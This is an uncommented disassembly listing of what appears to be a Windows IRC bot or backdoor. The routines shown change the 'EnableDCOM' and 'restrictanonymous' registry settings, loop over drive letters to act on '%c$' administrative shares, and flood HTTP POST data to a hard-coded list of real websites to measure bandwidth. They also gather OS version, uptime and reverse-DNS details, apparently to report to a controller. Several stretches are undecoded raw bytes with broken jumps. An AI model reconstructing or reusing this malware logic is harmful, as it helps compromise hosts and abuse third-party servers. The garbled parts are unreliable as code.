offset dword_441C90 jl short loc_41A8BA jmp loc_41A9BE ; --------------------------------------------------------------------------- loc_41A926: ; CODE XREF: sub_41A702+1AAj ; sub_41A702+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A9B5 loc_41A935: ; CODE XREF: sub_41A702+2AFj mov edi, [esi] push edi call sub_41DEE7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A9AA push edi call sub_4193FD push eax push 0 call sub_419510 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A964 push offset dword_441D34 jmp short loc_41A969 ; --------------------------------------------------------------------------- loc_41A964: ; CODE XREF: sub_41A702+259j push offset dword_441D08 loc_41A969: ; CODE XREF: sub_41A702+260j lea eax, [ebp+var_214] push 200h push eax call sub_41C030 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A99D push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_41A99D: ; CODE XREF: sub_41A702+27Fj lea eax, [ebp+var_214] push eax call sub_4157A6 pop ecx loc_41A9AA: ; CODE XREF: sub_41A702+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A935 xor edi, edi loc_41A9B5: ; CODE XREF: sub_41A702+22Dj push [ebp+var_8] call dword_4D1280 loc_41A9BE: ; CODE XREF: sub_41A702+21Fj cmp [ebp+var_10], 0EAh jz loc_41A889 lea eax, [ebp+var_214] push offset dword_441CE0 push eax call sub_41BF36 pop ecx pop ecx pop ebx jmp short loc_41A9F4 ; --------------------------------------------------------------------------- loc_41A9E1: ; CODE XREF: sub_41A702+177j lea eax, [ebp+var_214] push offset dword_441CB0 push eax call sub_41BF36 pop ecx pop ecx loc_41A9F4: ; CODE XREF: sub_41A702+2DDj cmp [ebp+arg_C], edi jnz short loc_41AA12 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_41AA12: ; CODE XREF: sub_41A702+2F5j lea eax, [ebp+var_214] push eax call sub_4157A6 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A702 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA26 proc near ; CODE XREF: sub_41A6A2:loc_41A6E9p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4D12C0, ebx push esi jnz loc_41AB54 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4D1260 ; RegOpenKeyExA test eax, eax jnz short loc_41AAB1 mov ax, word_440A28 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4D1214 ; RegSetValueExA test eax, eax jz short loc_41AA93 push offset dword_442060 jmp short loc_41AA98 ; --------------------------------------------------------------------------- loc_41AA93: ; CODE XREF: sub_41AA26+64j push offset dword_442044 loc_41AA98: ; CODE XREF: sub_41AA26+6Bj lea eax, [ebp+var_220] push eax call sub_41BF36 pop ecx pop ecx push [ebp+var_4] call dword_4D11CC ; RegCloseKey jmp short loc_41AAC4 ; --------------------------------------------------------------------------- loc_41AAB1: ; CODE XREF: sub_41AA26+36j lea eax, [ebp+var_220] push offset dword_441E98 push eax call sub_41BF36 pop ecx pop ecx loc_41AAC4: ; CODE XREF: sub_41AA26+89j cmp [ebp+arg_C], ebx jnz short loc_41AAE3 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_41AAE3: ; CODE XREF: sub_41AA26+A1j lea eax, [ebp+var_220] push eax call sub_4157A6 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4D1260 ; RegOpenKeyExA test eax, eax jnz short loc_41AB4D lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4D1214 ; RegSetValueExA test eax, eax jz short loc_41AB2F push offset dword_442004 jmp short loc_41AB34 ; --------------------------------------------------------------------------- loc_41AB2F: ; CODE XREF: sub_41AA26+100j push offset dword_441FCC loc_41AB34: ; CODE XREF: sub_41AA26+107j lea eax, [ebp+var_220] push eax call sub_41BF36 pop ecx pop ecx push [ebp+var_4] call dword_4D11CC ; RegCloseKey jmp short loc_41AB67 ; --------------------------------------------------------------------------- loc_41AB4D: ; CODE XREF: sub_41AA26+E2j push offset dword_441F90 jmp short loc_41AB59 ; --------------------------------------------------------------------------- loc_41AB54: ; CODE XREF: sub_41AA26+13j push offset dword_441DA8 loc_41AB59: ; CODE XREF: sub_41AA26+12Cj lea eax, [ebp+var_220] push eax call sub_41BF36 pop ecx pop ecx loc_41AB67: ; CODE XREF: sub_41AA26+125j cmp [ebp+arg_C], ebx jnz short loc_41AB86 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_41AB86: ; CODE XREF: sub_41AA26+144j lea eax, [ebp+var_220] push eax call sub_4157A6 cmp dword_4D12E8, ebx pop ecx jnz loc_41ACF8 push edi mov esi, offset off_441C70 mov edi, 200h loc_41ABAA: ; CODE XREF: sub_41AA26+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_419464 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41ABC5 push offset dword_441F70 jmp short loc_41ABCA ; --------------------------------------------------------------------------- loc_41ABC5: ; CODE XREF: sub_41AA26+196j push offset dword_441F48 loc_41ABCA: ; CODE XREF: sub_41AA26+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41C030 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41ABF9 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_41ABF9: ; CODE XREF: sub_41AA26+1B7j lea eax, [ebp+var_220] push eax call sub_4157A6 add esi, 8 pop ecx cmp esi, offset off_441C80 jl short loc_41ABAA call near ptr 0B40000h inc ebx test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41ACE0 loc_41AC24: ; CODE XREF: sub_41AA26+2B4j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41ACD5 cmp bl, 41h jz loc_41ACD5 movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C030 push esi push offset aC_0 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41C030 add esp, 20h lea eax, [ebp+var_20] push eax call dword_4D1250 ; GetDriveTypeA cmp eax, 3 jnz short loc_41ACD5 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_419464 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41AC93 push offset dword_441F70 jmp short loc_41AC98 ; --------------------------------------------------------------------------- loc_41AC93: ; CODE XREF: sub_41AA26+264j push offset dword_441F48 loc_41AC98: ; CODE XREF: sub_41AA26+26Bj lea eax, [ebp+var_220] push edi push eax call sub_41C030 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41ACC8 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_41ACC8: ; CODE XREF: sub_41AA26+286j lea eax, [ebp+var_220] push eax call sub_4157A6 pop ecx loc_41ACD5: ; CODE XREF: sub_41AA26+206j ; sub_41AA26+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41AC24 loc_41ACE0: ; CODE XREF: sub_41AA26+1F8j lea eax, [ebp+var_220] push offset dword_441F18 push eax call sub_41BF36 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41AD0B ; --------------------------------------------------------------------------- loc_41ACF8: ; CODE XREF: sub_41AA26+173j lea eax, [ebp+var_220] push offset dword_441CB0 push eax call sub_41BF36 pop ecx pop ecx loc_41AD0B: ; CODE XREF: sub_41AA26+2D0j cmp [ebp+arg_C], ebx jnz short loc_41AD29 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_41AD29: ; CODE XREF: sub_41AA26+2E8j lea eax, [ebp+var_220] push eax call sub_4157A6 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41AA26 endp ; --------------------------------------------------------------------------- loc_41AD3D: ; CODE XREF: .nsp0:0041AD59j push 1 push 0 push 0 push 0 call sub_41A702 add esp, 10h push dword_441C68 call dword_427064 ; Sleep jmp short loc_41AD3D ; =============== S U B R O U T I N E ======================================= sub_41AD5B proc near ; CODE XREF: sub_41AF50+CBp ; sub_41AF50+DDp ... arg_0 = dword ptr 4 call dword_4270A8 ; GetTickCount push eax call sub_41BF88 pop ecx call sub_41BF92 cdq idiv [esp+arg_0] mov eax, edx retn sub_41AD5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD75 proc near ; CODE XREF: sub_41AF50+D4p ; sub_41AF50+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B890 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41AF4C push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BC40 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AA54 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41AF4C push 50h call dword_4D11F0 ; ntohs push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4D1270 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41AF4C lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4D1198 ; connect cmp eax, 0FFFFFFFFh jz loc_41AF4C push 32003h call sub_41D665 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi ; dword_4270A8 push eax call sub_41BF88 call sub_41BF92 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BC40 push 32000h push esi push ebx call sub_41BC40 push ebx call sub_41B890 push 323EAh mov ebx, eax call sub_41D665 push ebx mov esi, eax push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41BF36 push [ebp+var_8] push esi call sub_41C560 push offset asc_43BB50 ; "\r\n" push esi call sub_41C560 add esp, 40h push esi call sub_41B890 mov ebx, eax pop ecx mov [ebp+var_10], ebx call edi ; dword_4270A8 mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AECC mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AE9C ; --------------------------------------------------------------------------- loc_41AE99: ; CODE XREF: sub_41AD75+155j mov eax, [ebp+arg_0] loc_41AE9C: ; CODE XREF: sub_41AD75+122j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AEAC push [ebp+var_C] jmp short loc_41AEAD ; --------------------------------------------------------------------------- loc_41AEAC: ; CODE XREF: sub_41AD75+130j push ebx loc_41AEAD: ; CODE XREF: sub_41AD75+135j add eax, esi push eax push [ebp+var_4] call dword_4D1240 ; send cmp eax, 0FFFFFFFFh jz short loc_41AF33 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AE99 loc_41AECC: ; CODE XREF: sub_41AD75+118j call edi ; dword_4270A8 sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41AEF4 fld1 fstp [ebp+arg_0] loc_41AEF4: ; CODE XREF: sub_41AD75+178j push [ebp+var_4] call dword_4D1288 ; closesocket push [ebp+var_8] call sub_41B961 push esi call sub_41B961 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41CE38 loc_41AF2E: ; CODE XREF: sub_41AD75+1D9j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41AF33: ; CODE XREF: sub_41AD75+147j push [ebp+var_4] call dword_4D1288 ; closesocket push [ebp+var_8] call sub_41B961 push esi call sub_41B961 pop ecx pop ecx loc_41AF4C: ; CODE XREF: sub_41AD75+19j ; sub_41AD75+42j ... xor eax, eax jmp short loc_41AF2E sub_41AD75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF50 proc near ; CODE XREF: .nsp0:00404958p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41AD5B push [ebp+eax*4+var_3C] call sub_41AD75 push 8 mov esi, eax call sub_41AD5B push [ebp+eax*4+var_3C] call sub_41AD75 add esp, 10h test esi, esi jz short loc_41B051 test eax, eax jz short loc_41B04D lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41B053 ; --------------------------------------------------------------------------- loc_41B04D: ; CODE XREF: sub_41AF50+F4j mov ebx, esi jmp short loc_41B053 ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AF50+F0j mov ebx, eax loc_41B053: ; CODE XREF: sub_41AF50+FBj ; sub_41AF50+FFj push 0Ch call sub_41AD5B push [ebp+eax*4+var_6C] call sub_41AD75 push 0Ch mov edi, eax call sub_41AD5B push [ebp+eax*4+var_6C] call sub_41AD75 add esp, 10h test edi, edi jz short loc_41B08B test eax, eax jz short loc_41B087 lea esi, [eax+edi] shr esi, 1 jmp short loc_41B08D ; --------------------------------------------------------------------------- loc_41B087: ; CODE XREF: sub_41AF50+12Ej mov esi, edi jmp short loc_41B08D ; --------------------------------------------------------------------------- loc_41B08B: ; CODE XREF: sub_41AF50+12Aj mov esi, eax loc_41B08D: ; CODE XREF: sub_41AF50+135j ; sub_41AF50+139j push 6 call sub_41AD5B push [ebp+eax*4+var_1C] call sub_41AD75 push 6 mov edi, eax call sub_41AD5B push [ebp+eax*4+var_1C] call sub_41AD75 add esp, 10h test edi, edi jz short loc_41B0C5 test eax, eax jz short loc_41B0C1 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41B0C7 ; --------------------------------------------------------------------------- loc_41B0C1: ; CODE XREF: sub_41AF50+168j mov ecx, edi jmp short loc_41B0C7 ; --------------------------------------------------------------------------- loc_41B0C5: ; CODE XREF: sub_41AF50+164j mov ecx, eax loc_41B0C7: ; CODE XREF: sub_41AF50+16Fj ; sub_41AF50+173j xor eax, eax test ebx, ebx jz short loc_41B0D4 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41B0D7 ; --------------------------------------------------------------------------- loc_41B0D4: ; CODE XREF: sub_41AF50+17Bj push 2 pop edi loc_41B0D7: ; CODE XREF: sub_41AF50+182j test esi, esi jz short loc_41B0DF add eax, esi jmp short loc_41B0E0 ; --------------------------------------------------------------------------- loc_41B0DF: ; CODE XREF: sub_41AF50+189j dec edi loc_41B0E0: ; CODE XREF: sub_41AF50+18Dj test ecx, ecx jz short loc_41B0E8 add eax, ecx jmp short loc_41B0E9 ; --------------------------------------------------------------------------- loc_41B0E8: ; CODE XREF: sub_41AF50+192j dec edi loc_41B0E9: ; CODE XREF: sub_41AF50+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_4420B8 push eax call sub_41BF36 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 lea eax, [ebp+var_26C] push eax call sub_4157A6 add esp, 30h pop edi pop esi pop ebx leave retn sub_41AF50 endp ; =============== S U B R O U T I N E ======================================= sub_41B12D proc near ; CODE XREF: .nsp0:00404068p ; .nsp0:004044DDp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call dword_4270A8 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4E14C0 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41C030 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41B12D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B196 proc near ; CODE XREF: sub_417517+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call dword_4270C8 ; GetVersionExA test eax, eax jz short loc_41B229 cmp [ebp+var_90], 4 jnz short loc_41B1FF cmp [ebp+var_8C], esi jnz short loc_41B1E7 cmp [ebp+var_84], 1 jnz short loc_41B1DA push 1 pop esi loc_41B1DA: ; CODE XREF: sub_41B196+3Fj cmp [ebp+var_84], 2 jnz short loc_41B229 push 1 jmp short loc_41B228 ; --------------------------------------------------------------------------- loc_41B1E7: ; CODE XREF: sub_41B196+36j cmp [ebp+var_8C], 0Ah jnz short loc_41B1F4 loc_41B1F0: ; CODE XREF: sub_41B196+78j push 2 jmp short loc_41B228 ; --------------------------------------------------------------------------- loc_41B1F4: ; CODE XREF: sub_41B196+58j cmp [ebp+var_8C], 5Ah jnz short loc_41B229 jmp short loc_41B219 ; --------------------------------------------------------------------------- loc_41B1FF: ; CODE XREF: sub_41B196+2Ej cmp [ebp+var_90], 5 jnz short loc_41B229 cmp [ebp+var_8C], esi jz short loc_41B1F0 cmp [ebp+var_8C], 1 jnz short loc_41B21D loc_41B219: ; CODE XREF: sub_41B196+67j push 3 jmp short loc_41B228 ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B196+81j cmp [ebp+var_8C], 2 jnz short loc_41B229 push 7 loc_41B228: ; CODE XREF: sub_41B196+4Fj ; sub_41B196+5Cj ... pop esi loc_41B229: ; CODE XREF: sub_41B196+25j ; sub_41B196+4Bj ... mov eax, esi pop esi leave retn sub_41B196 endp ; --------------------------------------------------------------------------- dw 5653h dd 4240BE57h, 310F000Fh, 3E868h, 8BFA8B00h, 6415FFD8h dd 0F004270h, 6AC32B31h, 56D71B00h, 89E85052h, 8B000028h dd 85D88BFAh, 72D777FFh, 77DE3B04h, 6A006AD1h, 0E8535764h dd 28E0h, 646ACA8Bh, 0F08BD233h, 7758C985h, 8305725Bh dd 57350FEh, 0D2334B6Ah, 77C98558h, 8305724Bh, 57347FEh dd 0D233426Ah, 77C98558h, 8305723Bh, 57337FEh, 0D233326Ah dd 77C98558h, 8305722Bh, 57326FEh, 0D233216Ah, 77C98558h dd 8305721Bh, 5731EFEh, 0D233196Ah, 77C98558h, 8305720Bh dd 4730AFEh, 0D233C033h, 0D11BC62Bh, 0D713C303h, 0C35B5E5Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2E4 proc near ; CODE XREF: .nsp0:0040423Ep var_1137B = byte ptr -1137Bh var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_443398 mov [ebp+var_CC], 94h call dword_4270C8 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B36B cmp [ebp+var_C4], ebx jnz short loc_41B347 cmp [ebp+var_BC], 1 jnz short loc_41B331 mov [ebp+var_4], offset a95 ; "95" loc_41B331: ; CODE XREF: sub_41B2E4+44j cmp [ebp+var_BC], 2 jnz loc_41B3E6 mov [ebp+var_4], offset aNt_0 ; "NT" jmp short loc_41B3B7 ; --------------------------------------------------------------------------- loc_41B347: ; CODE XREF: sub_41B2E4+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B359 mov [ebp+var_4], offset a98 ; "98" jmp short loc_41B3AE ; --------------------------------------------------------------------------- loc_41B359: ; CODE XREF: sub_41B2E4+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B3A7 mov [ebp+var_4], offset aMe_0 ; "ME" jmp short loc_41B3AE ; --------------------------------------------------------------------------- loc_41B36B: ; CODE XREF: sub_41B2E4+33j cmp [ebp+var_C8], 5 jnz short loc_41B3A7 cmp [ebp+var_C4], ebx jnz short loc_41B385 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_41B3AE ; --------------------------------------------------------------------------- loc_41B385: ; CODE XREF: sub_41B2E4+96j cmp [ebp+var_C4], 1 jnz short loc_41B397 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_41B3AE ; --------------------------------------------------------------------------- loc_41B397: ; CODE XREF: sub_41B2E4+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B3AE loc_41B3A7: ; CODE XREF: sub_41B2E4+7Cj ; sub_41B2E4+8Ej mov [ebp+var_4], offset a??? ; "???" loc_41B3AE: ; CODE XREF: sub_41B2E4+73j ; sub_41B2E4+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B3E6 loc_41B3B7: ; CODE XREF: sub_41B2E4+61j cmp [ebp+var_B8], bl jz short loc_41B3E6 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_2 ; "%s (%s)" push eax call sub_41BF36 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B3E6: ; CODE XREF: sub_41B2E4+54j ; sub_41B2E4+D1j ... mov ax, word_43FB1C push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4D10D0 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B41F lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; dword_4D10D0 loc_41B41F: ; CODE XREF: sub_41B2E4+12Cj push [ebp+arg_4] call sub_40AB6A pop ecx push eax call dword_4D1230 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4D11A8 ; gethostbyaddr cmp eax, ebx jz short loc_41B448 push dword ptr [eax] jmp short loc_41B44D ; --------------------------------------------------------------------------- loc_41B448: ; CODE XREF: sub_41B2E4+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B44D: ; CODE XREF: sub_41B2E4+162j lea eax, [ebp+var_3E4] push eax call sub_41BF36 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call near ptr 0B40000h cmp cl, [ebp+var_1137B] jmp fword ptr [edx+46h] sub_41B2E4 endp ; --------------------------------------------------------------------------- db 50h, 68h, 0ACh dd 53004423h, 409BEh, 0E8565300h, 724B78h, 0A4858DDDh dd 6AFFFFFEh, 28685046h, 530043BDh, 61E85653h, 3300724Bh dd 458D206Ah, 0E85053C8h, 794h, 8D0CC483h, 0E850C845h dd 724B48h, 8D5353EBh, 5053E845h, 0FB18858Dh, 0E850FFFFh dd 0BB5h, 50E8458Dh, 0F818858Dh, 0E850FFFFh, 0FFFFBB5Fh dd 0F08B606Ah, 18BD8D59h, 0F3FFFFF8h, 8D606AA5h, 0FFF818B5h dd 0BD8D59FFh, 0FFFFF998h, 0E853A5F3h, 0FFFFFC2Dh, 5020C483h dd 0FEA4858Dh, 8D50FFFFh, 0FFFEEC85h, 858D50FFh, 0FFFFFDA4h dd 0C75FF50h, 0FEF649E8h, 8D5059FFh, 0FFFC1C85h, 858D50FFh dd 0FFFFFB18h, 18858D50h, 0FFFFFFFAh, 0FFFF40B5h, 3CB5FFFFh dd 0FFFFFFFFh, 0FFFF38B5h, 0FC75FFFFh, 98858D50h, 50FFFFFAh dd 0C1D4458Bh, 50530AE8h, 0FFB9CAE8h, 505959FFh, 0C1D0458Bh dd 50530AE8h, 0FFB9BAE8h, 505959FFh, 0FFFCB5E8h, 685052FFh dd 4422D0h, 20068h, 875FF00h, 0AA3E8h, 8458B00h, 5F50C483h dd 0C3C95B5Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B598 proc near ; CODE XREF: .nsp0:0040426Cp ; .nsp0:00408D02p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BC40 add esp, 0Ch cmp dword_4D12D8, 0 jnz short loc_41B60C push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4D10B4 ; InternetGetConnectedStateExA test eax, eax jnz short loc_41B5ED lea eax, [ebp+var_8C] push offset dword_44242C push eax call sub_41BF36 pop ecx pop ecx loc_41B5ED: ; CODE XREF: sub_41B598+40j test [ebp+var_C], 1 jz short loc_41B605 push offset dword_442424 loc_41B5F8: ; CODE XREF: sub_41B598+72j lea eax, [ebp+var_8] push eax call sub_41BF36 pop ecx pop ecx jmp short loc_41B62B ; --------------------------------------------------------------------------- loc_41B605: ; CODE XREF: sub_41B598+59j push offset off_442420 jmp short loc_41B5F8 ; --------------------------------------------------------------------------- loc_41B60C: ; CODE XREF: sub_41B598+28j mov esi, offset off_44241C lea eax, [ebp+var_8] push esi push eax call sub_41BF36 lea eax, [ebp+var_8C] push esi push eax call sub_41BF36 add esp, 10h loc_41B62B: ; CODE XREF: sub_41B598+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40AB6A pop ecx push eax lea eax, [ebp+var_8C] push 